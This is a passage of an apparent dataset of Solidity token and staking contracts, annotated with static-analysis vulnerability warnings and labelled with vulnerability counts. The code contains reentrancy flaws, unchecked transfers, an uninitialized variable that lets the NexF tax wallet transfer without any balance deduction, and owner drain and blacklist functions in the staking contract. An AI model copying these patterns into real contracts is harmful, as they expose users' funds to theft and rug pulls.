NexF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d0143fd: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f3365d7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f3365d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d03ed48): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d03ed48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f3365d7\n\t\t// reentrancy-benign | ID: d03ed48\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f3365d7\n\t\t// reentrancy-benign | ID: d03ed48\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8fc9a24): NexF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8fc9a24: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d03ed48\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f3365d7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 772dbe8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 772dbe8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 805fc30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 805fc30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c4a98ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c4a98ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n bool sellTransfer = to == dexUniPair;\n\n bool buyTransfer = from == dexUniPair;\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (buyTransfer && to != address(_uniswapRouter) && !_isExile[to]) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (sellTransfer && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n sellTransfer &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 772dbe8\n\t\t\t\t// reentrancy-benign | ID: 805fc30\n\t\t\t\t// reentrancy-eth | ID: c4a98ce\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 772dbe8\n\t\t\t\t\t// reentrancy-eth | ID: c4a98ce\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExile[from] || _isExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 805fc30\n minMetaTr = block.number;\n }\n\n if (!_isExile[from] && !_isExile[to]) {\n if (!sellTransfer) {\n TranspMeta storage trMetaInfo = transpMeta[to];\n\n if (buyTransfer) {\n if (trMetaInfo.metaTrsp == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 805fc30\n trMetaInfo.metaTrsp = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n TranspMeta storage trMetaInfoChg = transpMeta[from];\n\n if (\n trMetaInfo.metaTrsp == 0 ||\n trMetaInfoChg.metaTrsp < trMetaInfo.metaTrsp\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 805fc30\n trMetaInfo.metaTrsp = trMetaInfoChg.metaTrsp;\n }\n }\n } else {\n TranspMeta storage trMetaInfoChg = transpMeta[from];\n\n\t\t\t\t// reentrancy-benign | ID: 805fc30\n trMetaInfoChg.metaNativeCur = trMetaInfoChg.metaTrsp.sub(\n minMetaTr\n );\n\n\t\t\t\t// reentrancy-benign | ID: 805fc30\n trMetaInfoChg.isIncluded = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 772dbe8\n\t\t// reentrancy-eth | ID: c4a98ce\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: c4a98ce\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: c4a98ce\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 772dbe8\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 894934f): NexF.trspTaxExile is never initialized. It is used in NexF._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 894934f: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : trspTaxExile.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c4a98ce\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 772dbe8\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n _approve(address(this), address(_uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: f3365d7\n\t\t// reentrancy-events | ID: 772dbe8\n\t\t// reentrancy-benign | ID: d03ed48\n\t\t// reentrancy-benign | ID: 805fc30\n\t\t// reentrancy-eth | ID: c4a98ce\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1d13a3c): NexF.rescueETH(address)._addr lacks a zerocheck on \t address(_addr).transfer(address(this).balance)\n\t// Recommendation for 1d13a3c: Check that the address is not zero.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: c2562eb): NexF.rescueETH(address) sends eth to arbitrary user Dangerous calls address(_addr).transfer(address(this).balance)\n\t// Recommendation for c2562eb: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function rescueETH(address _addr) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// missing-zero-check | ID: 1d13a3c\n\t\t// arbitrary-send-eth | ID: c2562eb\n payable(_addr).transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n limitsInEffect = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f3365d7\n\t\t// reentrancy-events | ID: 772dbe8\n\t\t// reentrancy-eth | ID: c4a98ce\n _taxWallet.transfer(amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3dbb1f2): NexF.enableTrading() ignores return value by IERC20(dexUniPair).approve(address(_uniswapRouter),type()(uint256).max)\n\t// Recommendation for 3dbb1f2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e9f01c2): NexF.enableTrading() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e9f01c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3a1bb4c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3a1bb4c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(_uniswapRouter), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3a1bb4c\n dexUniPair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// unused-return | ID: e9f01c2\n\t\t// reentrancy-eth | ID: 3a1bb4c\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 3dbb1f2\n\t\t// reentrancy-eth | ID: 3a1bb4c\n IERC20(dexUniPair).approve(address(_uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 3a1bb4c\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10221.sol",
"size_bytes": 23252,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\nstruct DepositInfo {\n uint256 amount;\n uint256 lockupPeriod;\n uint256 interestRate;\n uint256 depositTime;\n uint256 lastClaimTime;\n}\n\ncontract UNIStakingContractMorox {\n\t// WARNING Optimization Issue (immutable-states | ID: 932bbcf): UNIStakingContractMorox._owner should be immutable \n\t// Recommendation for 932bbcf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0635023): UNIStakingContractMorox._token should be immutable \n\t// Recommendation for 0635023: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20 private _token;\n\n constructor() {\n _owner = payable(msg.sender);\n\n _token = IERC20(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);\n }\n\n mapping(address => uint256) private _balances;\n\n mapping(address => uint256) private _lastClaimTime;\n\n mapping(address => uint256) private _lockupPeriod;\n\n mapping(address => uint256) private _interestRate;\n\n mapping(address => bool) private _blacklisted;\n\n mapping(address => address) private _referrals;\n\n mapping(address => uint256) private _initialDeposits;\n\n mapping(address => uint256) private _depositTime;\n\n mapping(address => DepositInfo[]) private _deposits;\n\n mapping(address => uint256) private _totalWithdrawnAmounts;\n\n event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);\n\n event Withdraw(address indexed user, uint256 amount);\n\n event InterestClaimed(address indexed user, uint256 amount);\n\n event Blacklisted(address indexed user);\n\n event Unblacklisted(address indexed user);\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Not the contract owner.\");\n\n _;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ff31538): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ff31538: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ea46a4): UNIStakingContractMorox.calculateInterest(address,uint256).deposit shadows UNIStakingContractMorox.deposit(uint256,uint256,address) (function)\n\t// Recommendation for 3ea46a4: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b355570): UNIStakingContractMorox.deposit(uint256,uint256,address) ignores return value by _token.transferFrom(msg.sender,address(this),amount)\n\t// Recommendation for b355570: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: a4e1eaa): UNIStakingContractMorox.deposit(uint256,uint256,address).currentInterestRate is a local variable never initialized\n\t// Recommendation for a4e1eaa: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function deposit(\n uint256 amount,\n uint256 lockupPeriod,\n address referral\n ) external {\n require(amount > 0, \"Amount must be greater than 0.\");\n\n require(\n lockupPeriod >= 7 && lockupPeriod <= 90,\n \"Invalid lockup period.\"\n );\n\n require(!_blacklisted[msg.sender], \"You are not allowed to deposit.\");\n\n require(\n _token.allowance(msg.sender, address(this)) >= amount,\n \"Token allowance not sufficient.\"\n );\n\n uint256 currentLockupPeriod = lockupPeriod * 1 days;\n\n uint256 currentInterestRate;\n\n if (lockupPeriod == 7) {\n currentLockupPeriod = 7 * 1 days;\n\n require(\n amount >= 12 * 10 ** 19 && amount <= 4 * 10 ** 20,\n \"Invalid deposit amount for 3-day lockup.\"\n );\n\n currentInterestRate = 114285714285714;\n } else if (lockupPeriod == 14) {\n currentLockupPeriod = 14 * 1 days;\n\n require(\n amount >= 4 * 10 ** 20 && amount <= 10 ** 21,\n \"Invalid deposit amount for 14-day lockup.\"\n );\n\n currentInterestRate = 285714285714286;\n } else if (lockupPeriod == 30) {\n currentLockupPeriod = 30 * 1 days;\n\n require(\n amount >= 10 ** 21 && amount <= 35 * 10 ** 20,\n \"Invalid deposit amount for 30-day lockup.\"\n );\n\n currentInterestRate = 366666666666667;\n } else if (lockupPeriod == 60) {\n currentLockupPeriod = 60 * 1 days;\n\n require(\n amount >= 2 * 10 ** 21 && amount <= 10 ** 22,\n \"Invalid deposit amount for 60-day lockup.\"\n );\n\n currentInterestRate = 383333333333333;\n } else if (lockupPeriod == 90) {\n currentLockupPeriod = 90 * 1 days;\n\n require(\n amount >= 5 * 10 ** 21 && amount <= 3 * 10 ** 22,\n \"Invalid deposit amount for 90-day lockup.\"\n );\n\n currentInterestRate = 411111111111111;\n }\n\n if (\n _referrals[msg.sender] == address(0) &&\n referral != msg.sender &&\n referral != address(0)\n ) {\n _referrals[msg.sender] = referral;\n }\n\n DepositInfo memory newDeposit = DepositInfo({\n amount: amount,\n lockupPeriod: currentLockupPeriod,\n interestRate: currentInterestRate,\n depositTime: block.timestamp,\n lastClaimTime: block.timestamp\n });\n\n _balances[msg.sender] += amount;\n\n _lockupPeriod[msg.sender] = currentLockupPeriod;\n\n _interestRate[msg.sender] = currentInterestRate;\n\n _depositTime[msg.sender] = block.timestamp;\n\n _lastClaimTime[msg.sender] = block.timestamp;\n\n _initialDeposits[msg.sender] = amount;\n\n _deposits[msg.sender].push(newDeposit);\n\n\t\t// reentrancy-events | ID: ff31538\n\t\t// unchecked-transfer | ID: b355570\n _token.transferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-events | ID: ff31538\n emit Deposit(msg.sender, amount, lockupPeriod);\n }\n\n function blacklist(address user) external onlyOwner {\n require(!_blacklisted[user], \"User is already blacklisted.\");\n\n _blacklisted[user] = true;\n\n emit Blacklisted(user);\n }\n\n function unblacklist(address user) external onlyOwner {\n require(_blacklisted[user], \"User is not blacklisted.\");\n\n _blacklisted[user] = false;\n\n emit Unblacklisted(user);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: bb72b1b): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for bb72b1b: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 29ad3d9): Reentrancy in UNIStakingContractMorox.withdraw(uint256) External calls _token.transfer(msg.sender,amountToWithdraw) Event emitted after the call(s) Withdraw(msg.sender,amountToWithdraw)\n\t// Recommendation for 29ad3d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 36e6e09): UNIStakingContractMorox.withdraw(uint256) ignores return value by _token.transfer(msg.sender,amountToWithdraw)\n\t// Recommendation for 36e6e09: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdraw(uint256 depositIndex) external {\n require(!_blacklisted[msg.sender], \"You are not allowed to withdraw.\");\n\n require(\n depositIndex < _deposits[msg.sender].length,\n \"Invalid deposit index.\"\n );\n\n\t\t// timestamp | ID: bb72b1b\n require(\n block.timestamp >=\n _deposits[msg.sender][depositIndex].depositTime +\n _deposits[msg.sender][depositIndex].lockupPeriod,\n \"Lockup period not over.\"\n );\n\n uint256 amountToWithdraw = _deposits[msg.sender][depositIndex].amount;\n\n require(amountToWithdraw > 0, \"No funds to withdraw.\");\n\n _deposits[msg.sender][depositIndex].amount = 0;\n\n _totalWithdrawnAmounts[msg.sender] += amountToWithdraw;\n\n\t\t// reentrancy-events | ID: 29ad3d9\n\t\t// unchecked-transfer | ID: 36e6e09\n _token.transfer(msg.sender, amountToWithdraw);\n\n\t\t// reentrancy-events | ID: 29ad3d9\n emit Withdraw(msg.sender, amountToWithdraw);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0b6f883): UNIStakingContractMorox.transferAllFunds() ignores return value by _token.transfer(_owner,contractBalance)\n\t// Recommendation for 0b6f883: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferAllFunds() external onlyOwner {\n uint256 contractBalance = _token.balanceOf(address(this));\n\n require(contractBalance > 0, \"No funds to transfer.\");\n\n\t\t// unchecked-transfer | ID: 0b6f883\n _token.transfer(_owner, contractBalance);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3ea46a4): UNIStakingContractMorox.calculateInterest(address,uint256).deposit shadows UNIStakingContractMorox.deposit(uint256,uint256,address) (function)\n\t// Recommendation for 3ea46a4: Rename the local variables that shadow another component.\n function calculateInterest(\n address user,\n uint256 depositIndex\n ) public view returns (uint256) {\n DepositInfo storage deposit = _deposits[user][depositIndex];\n\n uint256 interestClaimed = _deposits[user][depositIndex].amount -\n _deposits[user][depositIndex].amount;\n\n uint256 timeElapsed = block.timestamp - deposit.lastClaimTime;\n\n uint256 interest = (deposit.amount *\n deposit.interestRate *\n timeElapsed) / (100000000000000000 * 86400);\n\n return interest + interestClaimed;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 023bd60): UNIStakingContractMorox.claimInterestForDeposit(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(interestToClaim > 0,No interest to claim.)\n\t// Recommendation for 023bd60: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5ee9c3f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5ee9c3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f365e8c): UNIStakingContractMorox.claimInterestForDeposit(uint256) ignores return value by _token.transfer(msg.sender,totalInterestToClaim)\n\t// Recommendation for f365e8c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function claimInterestForDeposit(uint256 lockupPeriod) external {\n require(\n !_blacklisted[msg.sender],\n \"You are not allowed to claim interest.\"\n );\n\n uint256 totalInterestToClaim = 0;\n\n for (uint256 i = 0; i < _deposits[msg.sender].length; i++) {\n if (\n _deposits[msg.sender][i].lockupPeriod == lockupPeriod * 1 days\n ) {\n uint256 interestToClaim = calculateInterest(msg.sender, i);\n\n\t\t\t\t// timestamp | ID: 023bd60\n require(interestToClaim > 0, \"No interest to claim.\");\n\n _deposits[msg.sender][i].lastClaimTime = block.timestamp;\n\n totalInterestToClaim += interestToClaim;\n }\n }\n\n\t\t// reentrancy-events | ID: 5ee9c3f\n\t\t// unchecked-transfer | ID: f365e8c\n _token.transfer(msg.sender, totalInterestToClaim);\n\n\t\t// reentrancy-events | ID: 5ee9c3f\n emit InterestClaimed(msg.sender, totalInterestToClaim);\n }\n\n function getDepositInfo(\n address user\n )\n external\n view\n returns (\n uint256[] memory depositIndices,\n uint256[] memory unlockTimes,\n uint256[] memory stakedAmounts,\n uint256[] memory lockupPeriods\n )\n {\n uint256 depositCount = _deposits[user].length;\n\n depositIndices = new uint256[](depositCount);\n\n unlockTimes = new uint256[](depositCount);\n\n stakedAmounts = new uint256[](depositCount);\n\n lockupPeriods = new uint256[](depositCount);\n\n for (uint256 i = 0; i < depositCount; i++) {\n depositIndices[i] = i;\n\n unlockTimes[i] =\n _deposits[user][i].depositTime +\n _deposits[user][i].lockupPeriod;\n\n stakedAmounts[i] = _deposits[user][i].amount;\n\n lockupPeriods[i] = _deposits[user][i].lockupPeriod;\n }\n }\n\n function max(int256 a, int256 b) private pure returns (int256) {\n return a >= b ? a : b;\n }\n\n function getReferral(address user) external view returns (address) {\n return _referrals[user];\n }\n\n function isBlacklisted(address user) external view returns (bool) {\n return _blacklisted[user];\n }\n}\n",
"file_name": "solidity_code_10222.sol",
"size_bytes": 14417,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract JEETH is Context, IERC20, Ownable {\n string private constant _name = \"Jeetereum Foundation\";\n\n string private constant _symbol = \"JEETH\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n uint256 public _swapTokensAtAmount = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e32a14): JEETH._marketingAddress should be constant \n\t// Recommendation for 7e32a14: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x5C3E70C179fd9e6557cB53395B9b08862050A5Af);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 384b2f5): JEETH.uniswapV2Router should be immutable \n\t// Recommendation for 384b2f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 44e2abd): JEETH.uniswapV2Pair should be immutable \n\t// Recommendation for 44e2abd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen = false;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n using SafeMath for uint256;\n\n mapping(address => bool) public bots;\n\n mapping(address => uint256) public _buyMap;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 0;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 0;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 